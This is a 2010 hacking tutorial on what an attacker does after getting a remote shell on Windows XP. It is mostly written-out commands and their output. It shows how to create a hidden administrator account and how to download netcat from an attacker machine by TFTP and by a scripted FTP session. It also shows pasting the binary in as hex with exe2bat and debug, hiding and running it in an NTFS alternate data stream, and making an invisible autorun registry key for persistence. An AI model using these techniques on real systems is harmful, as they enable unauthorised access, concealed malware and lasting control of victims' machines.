Non-Interactive Shell, Uploading files and other parlor tricks

Québec, 4 octobre 2010

Auteur: Steven McElrea
Email: loneferret @ gmail.com

So, you’ve just gotten a remote shell. You’ve successfully compromised your target system… now what? Well now that you’ve gotten a SYSTEM shell, many administrative commands are at your disposal. Adding users, groups, change and dump passwords, install software and other various administrative functions. A simple example of what an evil hacker could do, is create a user account with “administrator” privileges.

C:\WINDOWS\system32>net user loneferret 123456 /add
net user loneferret 123456 /add
The command completed successfully.
C:\WINDOWS\system32>net localgroup administrators loneferret /add
net localgroup administrators loneferret /add
The command completed successfully.
C:\WINDOWS\system32>net usersv net users
User accounts for \\v -------------------------------------------------------------------------------
Administrator Guest HelpAssistant
loneferret SUPPORT_733745a0
C:\WINDOWS\system32>

Once you’ve received your remote shell, there are a few things you must consider. You are limited by the fact, that this it’s a “non-interactive shell”. I suppose the easier way to explain what is a non-interactive shell is with an example.

1: Open up a DOS prompt on your Windows XP machine. Type the “dir” command. This command is non-interactive, since it does not require user intervention to complete its task.
2: From a DOS prompt once again; connect to a FTP server using Window’s native client. Try logging on, and then exit using the “bye” command.

Notice the FTP process has exited correctly after the “bye” command is sent. This is an interactive program which requires user intervention in order to properly function and complete. The basic rule of thumb when it comes to non-interactive shells is “Don’t use interactive programs”. Output from an interactive program, is often not redirected correctly to the shell (remote shell), and will most often than not cause the shell to time out or disconnect entirely. One good way to test this theory out would be to use the FTP program from a non-interactive shell such as a remote shell.

So now that we’ve eliminated commands we can and cannot use, let’s move on to activities an evil attacker would and could do. From our remote command shell, the next logical step would be to expand our attack by uploading files such as key loggers, compiled exploits, and Trojans are a good place to start. Several methods are presented to us via the command shell.

Using TFTP

A UDP based file transfer client is installed by default on all Windows XP system and available from the command line. We can transfer file to and fro our victim using this method. First you need a TFTP server running somewhere, to which you have access (setting up a TFTP server is beyond the scope of this article). Have a file available, and ready to download to your Windows machine. Once everything is setup, let’s download our file.

C:\WINDOWS\system32>tftp -i 192.168.0.100 GET nc.exe
tftp -i 192.168.0.100 GET nc.exe
Transfer successful: 59392 bytes in 5 seconds, 11878 bytes/s
C:\WINDOWS\system32>dir nc.exe
dir nc.exe
Volume in drive C has no label.
Volume Serial Number is A0EN-7337
Directory of C:\WINDOWS\system32
18/05/2010 06:49 AM     59,392 nc.exe
1 File(s)     59,392 bytes
0 Dir(s)     2,733,469,696 bytes free
C:\WINDOWS\system32>

This being UDP transfer, once must consider a few things. Firstly it’s unstable, so transferring large files is not a good idea. Also more often than not, outbound UDP traffic is block on corporate firewalls.

Next we have FTP

In our earlier example treating the “Non-Interactive shell”, we discovered that interactive programs could not be reliably used from a remote shell. So why are we considering FTP? Well, it can be automated via a text file; essentially using it as a non-interactive program. Reading through the FTP command help we have: -s:filename Specifies a text file containing FTP commands; the commands will automatically run after FTP starts.

On our victim shell, we need to our FTP client working only using non-interactive commands.
C:\WINDOWS\system32>echo open 192.168.0.100 21> ftp.txt
C:\WINDOWS\system32>echo USER ftp >> ftp.txt
C:\WINDOWS\system32>echo PASS ftp >> ftp.txt
C:\WINDOWS\system32>echo bin >> ftp.txt
C:\WINDOWS\system32>echo GET nc.exe >> ftp.txt
C:\WINDOWS\system32>echo bye >> ftp.txt

Once our file is created, running the FTP client using the “-s” switch is no longer considered “interactive”
C:\WINDOWS\system32>ftp -s:ftp.txt
Another method, which is a bit odder, is to simply copy & pasting your file from the attacking machine to the remote shell. The method requires MS-DOS “debug.exe” tool and “exe2bat.exe”.
From the attacker’s machine, run “exe2bat.exe” on the “netcat” executable.
bt tools # wine exe2bat.exe nc.exe nc.txt

This command will echo out the hex bytecode found in “nc.exe”, and save to it our text file. It’s build in such a way that you can simply copy and paste its contents to the victim’s shell. After that it’s a matter of compiling it using the MS-DOS tool “debug.exe” (which is no longer installed by default on newer Windows machines).

ADS, or Alternate NTFS Data Streams

The ability to fork data into existing files, without modifying its functionality or size, is something that can be interesting for an attacker. Originally conceived for compatibility with Macintosh’s file system, this NTFS capability can also be used to hide malicious files on a victim machine. Here’s a nice example:

C:\loneferret>dir
Volume in drive C has no label.
Volume Serial Number is A0EN-7337
Directory of C:\muts

18/05/2010 12:56p DIR .
18/05/2010 12:56p DIR ..
18/05/2010 12:55p 59,392 nc.exe
1 File(s) 59,392 bytes
2 Dir(s) 3,114,639,360 bytes free

C:\loneferret>echo "hi, i am text in a text file" > loneferret.txt
C:\loneferret>dir
Volume in drive C has no label.
Volume Serial Number is A0EN-7337
Directory of C:\loneferret

18/05/2010 12:56p DIR .
18/05/2010 12:56p DIR ..
18/05/2010 12:56p 33 loneferret.txt
18/05/2010 12:55p 59,392 nc.exe
2 File(s) 59,425 bytes
2 Dir(s) 3,114,639,360 bytes free
C:\loneferret>type nc.exe > loneferret.txt:nc.exe v
C:\ loneferret >del nc.exe

C:\ loneferret >dir
Volume in drive C has no label.
Volume Serial Number is A0EN-7337
Directory of C:\ loneferret

18/05/2010 12:56p DIR .
18/05/2010 12:56p DIR ..
18/05/2010 12:56p 33 loneferret.txt
1 File(s) 33 bytes
2 Dir(s) 3,114,639,360 bytes free

C:\loneferret>start ./loneferret.txt:nc.exe
C:\loneferret>

As you can see, out text file’s size has not changed and we are still able to execute “netcat”. Hiding executables in text files is quite common. Many Trojans such as Win32.Kido.ih use similar techniques, but at the end of the day having executables hidden in text files is never a good sign. Coupled with hidden registry keys, a hacker with a remote shell can do a lot of damage.

Speaking of hidden registry keys…

Hidden Registry Keys

Microsoft’s registry editor (2k-XP) has a design flaw. This flaw allows a user to create hidden (and useable) entries in a machine’s registry. Even know (at the writing of this article), a fully patched and updated Windows XP machine still has this flaw.

1: Run Regedit32.exe and create a new string value in:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

2: Fill this key with a string of 258 characters.
3: Create another string value called “calc.exe” and assign it the string “calc.exe” So far, you should have something that resembles this:

4: Now press “F5” to refresh, and if all goes well both keys magically disappears.
5: Log off and log back on, you should get a calculator. (you can remove the keys from the command shell using reg delete)

To summarize, gaining remote access to a system is good, but knowing what to do after is also important. Although these little tricks are old, and are void in most newer versions of windows (Windows Vista/7/2008). It's also true that many systems still run Windows XP based operating systems. These little tricks may just help in keeping your remote access after the exploitation phase. It also gives a nice little insight on how common low-level trojans are stored on a system.